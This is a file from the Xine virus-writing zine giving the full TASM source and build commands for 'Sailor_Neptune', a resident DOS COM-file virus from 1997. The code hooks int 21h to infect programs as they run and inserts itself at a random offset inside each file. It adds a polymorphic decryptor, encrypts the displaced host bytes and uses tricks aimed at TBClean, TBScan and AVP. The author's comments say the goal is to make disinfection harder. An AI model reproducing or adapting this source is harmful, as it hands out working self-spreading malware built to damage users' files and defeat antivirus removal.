/-----------------------------\ | Xine - issue #2 - Phile 028 | \-----------------------------/ ; ; Virus Name : Sailor_Neptune ; Virus Author : b0z0 ; Origin : Padania, March/April 1997 ; Compiling : Use TASM 3.0 ; tasm /m5 neptune.asm ; tlink /t neptune ; Tech Desc : Sailor_Neptune is a quite simple TSR COM infector, ; that will place itself not at the end of the file but ; in a random position in the middle of the file. ; It is just a little bit polymorphic. The sequence of ; the operations in the decryptor is always the same, ; but registers and operations are changed. The key ; of the operation (add,sub,xor) is changed with another ; math operation. This little polymorphism isn't aimed ; to make the virus unscannable (since it is very simple ; and scannable :) ), but is rather done to make the ; disinfection procedure harder. Of course the piece of ; the file that has been overwritten by the virus is saved ; at the end of the file. Of course it is encrypted. ; There are some AV-tricks in the virus (TBClean for ; example will just cut the .COM at the virus position ; and leaving a JMP AX as the first opcodes in the ; 'cleaned' file ;) ) to make scanning and removing ; even harder. To fool TBScan (always) and AVP ; (just sometimes, quite never) the COMs will have the entry ; point simillar to a PKlited file. So a 'packed program' ; warning may appear :) ; Of course this 'midplacing' method makes also CRC to ; miserably fail. ; Since the virus is placed somewhere in the middle of ; the file it isn't possible to do the simple lenght ; addition (as Yosha suggest) to the CRC after the ; coms that have the enuns selfcheck, because it ; may be just where the virus has been placed. So ; instead of risking this the virus will simply skip ; those coms. ; There isn't too much to say about this virus. Since ; it infects just COMs i don't think it will have good ; possibilityes to spread around. On the other side i ; think (well, i hope) that removing this virus isn't ; really simple, so AV-ers will have to work a little :) ; Well, that's all for now ;) ; I had some more projects for this virus (to make it ; a lot better) but due to time restrictions this virus ; hasn't been finished as i have initially hoped. ; But that's life ;)) ; neptune segment assume cs:neptune, ds:neptune; es:neptune org 100h start: mov di,offset enc_start ; mov reg_pointer,offset counter: mov cx,(virus_nopoly/2) ; mov reg_counter,size operator: mov dx,00h ; mov reg_operand,init_value decrypt_loop: xor word ptr ds:[di],dx ; oper [reg_pointer],reg_oper modifyer: add dx,00h ; oper reg_oper,oper_value inc_memory: inc di ; inc reg_pointer inc di ; inc reg_pointer decrement: dec cx ; dec reg_counter jnz decrypt_loop enc_start: pop bp ; just to be precise correct ; the stack from the 'PK' :) call delta ; delta offset delta: pop bp sub bp,offset delta mov ax,3026h ; install check int 21h cmp ax,2630h jne not_installed jmp restore_com not_installed: mov ax,es ; psp dec ax mov ds,ax ; mcb xor di,di check_mcb: cmp byte ptr ds:[di],'Z' ; last? je last_block add ax,word ptr ds:[di+03h] inc ax mov ds,ax ; on next jmp check_mcb last_block: sub word ptr ds:[di+03h],para_virus sub word ptr ds:[di+12h],para_virus mov byte ptr ds:[di],'M' add ax,word ptr ds:[di+03h] inc ax ; virus mcb segment mov ds,ax mov word ptr ds:[di+03h],para_virus-1 mov word ptr ds:[di+01h],08h mov byte ptr ds:[di],'Z' inc ax ; virus segment push cs pop ds sub ax,0fh ; so CS:IP will be correct ; considering that the adresses ; are calculated from start ; as CS:100h mov cx,virus_words mov es,ax mov di,100h lea si,[bp+start] ; copy virus rep movsw xor dx,dx mov ds,dx mov cx,offset virus_int21 cli xchg cx,word ptr ds:[084h] ; install int21h xchg ax,word ptr ds:[086h] mov word ptr es:[old_21_off],cx mov word ptr es:[old_21_seg],ax sti push cs pop ds push cs pop es restore_com: mov di,100h mov word ptr ds:[di],0e0ffh ; jmp ax mov ax,bp add ax,offset return_antitbclean ; calculate return jmp jmp di ; just to fuck tbclean ; or simillar progs return_antitbclean: push di lea si,[offset first_old + bp] ; restore first 5 bytes movsw movsb movsw pop bx mov si,word ptr ds:[orig_pos+bp] ; original bytes pos add si,bx mov di,si add di,(virus_size-1) mov al,byte ptr ds:[dec_value+bp] ; position dec value mov byte ptr ds:[di+1],al std call enc_dec_orig ; decrypt original cld mov di,word ptr ds:[virus_pos+bp] ; virus position add di,bx mov cx,virus_size sub bx,02h ; jump to cs:0FEh mov word ptr ds:[bx],0a4f3h ; REP MOVSB push bx xor bx,bx xor ax,ax xor dx,dx xor bp,bp ret ; go there! first_old db 0cdh,020h,00h,00h,00h virus_pos dw (virus_end_mem) ; where the virus resides orig_pos dw (virus_end_mem) ; where the original body ; is placed (= filelenght) virus_int21: cmp ax,3026h ; residency check jne no_rescheck xchg ah,al iret no_rescheck: xor ax,4b00h ; execute jz execute chain_old_21: xor ax,4b00h db 0eah old_21_off dw 00h old_21_seg dw 00h virus_name db 'Sailor_Neptune',0 execute: pushf push ds push es push ax push cx push dx push bx push di push si push bp push ds push dx push cs pop ds mov ax,3524h ; save int 24h handler int 21h mov word ptr ds:[old_24off],bx mov word ptr ds:[old_24seg],es mov dx,offset int_24handler mov ax,2524h int 21h ; set our int 24h pop dx pop ds mov di,dx mov ax,4300h ; get attributes int 21h push cx ; push attribs push dx ; push filename seg:off push ds xor cx,cx ; delete attributes call attrib_set jnc ok_writing add sp,06h ; adjust stack and exit first_exit: jmp error_opening ; if error occoured ok_writing: mov ax,3D02h ; open for RW int 21h jnc ok_open jmp error_opening_att ok_open: push ax pop bx ; BX handle push cs pop ds mov ax,5700h ; store date and time int 21h mov word ptr ds:[filedate],dx mov word ptr ds:[filetime],cx mov ah,3fh ; read from file mov cx,05h mov dx,offset first_old int 21h cmp byte ptr ds:[first_old],'M' ; MZ ? je exit_buffer_err cmp byte ptr ds:[first_old],'Z' ; ZM ? je exit_buffer_err cmp word ptr ds:[first_old],'KP' ; Pklited? :)) jne ok_buffer cmp byte ptr ds:[first_old+2],0e9h ; jump after PK? jne ok_buffer exit_buffer_err: jmp exit_nofile ok_buffer: stc call go_body_pos ; seek to end mov word ptr ds:[orig_pos],ax ; check file lenght cmp ax,(0fadeh - virus_size - 32) ; enough space? jae bad_lenght cmp ax,2000d ; not too short ja ok_file bad_lenght: jmp exit_nofile ok_file: mov cx,ax ; cx=file lenght sub cx,(virus_size) random_place: in ax,40h ; get random mov dx,ax in ax,40h xor ax,dx cmp ax,cx ; from 05 to Fsize-vsize jae random_place cmp ax,05h jbe random_place push ax mov word ptr ds:[virus_pos],ax call go_body_pos ; go to random position in file mov ah,3fh ; read what will be overwritten mov dx,offset file_buffer mov cx,virus_size int 21h mov ax,word ptr ds:[orig_pos] sub ax,04h call go_body_pos ; go to the end-5 mov ah,3fh ; read last 5 bytes mov dx,offset last_four mov cx,04h int 21h pop ax cmp word ptr ds:[last_four],'SN' ; special coms? je exit_nofile push ax cld mov di,offset file_buffer in al,40h mov byte ptr ds:[dec_value],al mov byte ptr ds:[virus_end_mem-1],al push cs pop es call enc_dec_orig ; encrypt original bytes mov dx,offset file_buffer mov cx,virus_size call write_oper ; write original bytes in al,40h xor ah,ah add dx,ax ; add random offset and al,011111b ; write some rnd bytes mov cx,ax write_check: call write_oper pop ax push ax call go_body_pos ; go to the sel. rnd pos call encrypt_it mov dx,100h mov cx,(offset enc_start - offset start) call write_oper mov dx,offset enc_start mov cx,virus_nopoly call encryptor call write_oper ; write virus body in file xor ax,ax call go_body_pos ; go to start pop ax ; ax = pos of virus body sub ax,05h ; - jump - 'PK' mov di,offset file_buffer mov word ptr ds:[di],'KP' mov byte ptr ds:[di+2],0e9h ; code the jump mov word ptr ds:[di+3],ax mov dx,di mov cx,05h call write_oper ; write the jump mov dx,word ptr ds:[filedate] mov cx,word ptr ds:[filetime] mov ax,5701h ; restore date and time int 21h exit_nofile: mov ah,3eh ; close file int 21h error_opening_att: pop ds pop dx pop cx call attrib_set error_opening: mov dx,word ptr ds:[old_24off] mov ds,word ptr cs:[old_24seg] mov ax,2524h int 21h ; old int 24h handler pop bp pop si pop di pop bx pop dx pop cx pop ax pop es pop ds popf jmp chain_old_21 author db '-b0z0/iKx-' ; As for encryption of the original piece of code of the COM... ; Instead of using a more classic xor for each byte with a fixed value, ; the routine is somehow recursive. Infact when we are encrypting the ; key of the first byte is the second byte, the key for the second byte ; is the third byte and so on till the end, where the key for the last ; byte is the random value. So for the decryption the algorithm will ; be inverse, starting from the end and using the random value it will ; decrypt from the end to the start 'generating' in the same time the ; needed decryption keys... ; Maybe AVrs will have to spend some more bytes to restore this data ; comparing the restoration of the other too classic method ;)) enc_dec_orig: mov cx,(virus_size) data_encrypt: mov al,byte ptr ds:[di] ; will be enc mov dl,byte ptr ds:[di+1] ; key xor al,dl stosb loop data_encrypt ret dec_value db 00h encrypt_it: call do_register cmp al,03h ; is BX je ok_pointer cmp al,05h ; only SI or DI jbe encrypt_it ok_pointer: mov cl,al push ax add al,040h ; inc mov ah,al mov word ptr ds:[inc_memory],ax pop ax add al,0b8h mov byte ptr ds:[start],al ; mov pointer mov ax,word ptr ds:[virus_pos] add ax,offset enc_start mov word ptr ds:[start+1],ax ; pointer value mov al,04h cmp cl,06h je no_change inc al ; decryptor byte cmp cl,07h ; pointer dependant je no_change inc al inc al no_change: push ax change_register: call do_register cmp al,cl je change_register mov ch,al push ax mov dl,0c0h ; add base mody_oper: call do_register cmp al,02h ja mody_oper or al,al jz ok_store add dl,28h ; +28h = sub cmp al,01h je ok_store add dl,08h ; +8h = xor ok_store: push dx add dl,ch mov byte ptr ds:[modifyer+1],dl ; change operand pop dx ; and operation inc dl inc dl mov byte ptr ds:[opera+1],dl ; for encryption in al,40h mov byte ptr ds:[modifyer+2],al mov byte ptr ds:[opera+2],al pop ax add al,0b8h mov byte ptr ds:[operator],al ; mov operand, in ax,40h mov word ptr ds:[operator+1],ax mov word ptr ds:[encryption+1],ax change_counter: call do_register cmp al,cl je change_counter cmp al,ch je change_counter push ax add al,048h mov byte ptr ds:[decrement],al ; dec counter pop ax add al,0b8h mov byte ptr ds:[counter],al ; mov counter,size pop ax dec_crea: cmp ch,00h je finished_change add al,08h dec ch jmp dec_crea finished_change: mov byte ptr ds:[decrypt_loop+1],al ; oper [mem],operand ; main operation main_oper: call do_register cmp al,02h ; xor, sub or add ja main_oper mov cl,al ; al = 01h = add mov al,01h cmp cl,00h je ok_do_add add al,28h ; al = 29h = sub cmp cl,01h je ok_do_add add al,08h ; al = 31h = xor ok_do_add: mov byte ptr ds:[decrypt_loop],al ; store main oper mov al,31h ; generate the adeguate encryption cmp cl,02h je ok_reverse ; for xor use xor sub al,08h cmp cl,00h ; for add use sub je ok_reverse sub al,028h ; for sub use add ;) ok_reverse: mov byte ptr ds:[enc_loop],al ret do_register: in al,40h and al,0111b cmp al,04h je do_register ; no SP ret encryptor: ; dx = offset ; cx = bytes size push cs pop es push cx mov di,offset file_buffer push di mov si,dx ; source push di shr cx,1 ; to words push cx rep movsw ; copy body pop cx pop si encryption: mov dx,0000h ; will be changed by poly enc_loop: xor word ptr ds:[si],dx opera: add dx,00h ; change operator inc si ; next word inc si loop enc_loop pop dx pop cx ret write_oper: mov ah,40h ; write to file int 21h ret go_body_pos: ; if C set then seek to end mov dx,ax ; if NC go to 0:DX from start mov ax,4200h jnc no_seek_end inc al inc al cwd no_seek_end: xor cx,cx int 21h ret attrib_set: mov ax,4301h ; set attributes int 21h ret int_24handler: xor al,al iret virus_end: ; EQUs --- para_virus = (offset virus_end_mem - offset start + 0fh)/10h + 2 virus_words = (offset virus_end_mem - offset start + 1)/2 virus_size = (offset virus_end - offset start + 1) virus_nopoly = (offset virus_end - offset enc_start + 1) ; old_24off dw 00h ; int 24h offset old_24seg dw 00h ; int 24h segment filedate dw 00h ; file date filetime dw 00h ; file time last_four db 04h dup (?) ; last five bytes file_buffer db (virus_size+1) dup (?) virus_end_mem: neptune ends end start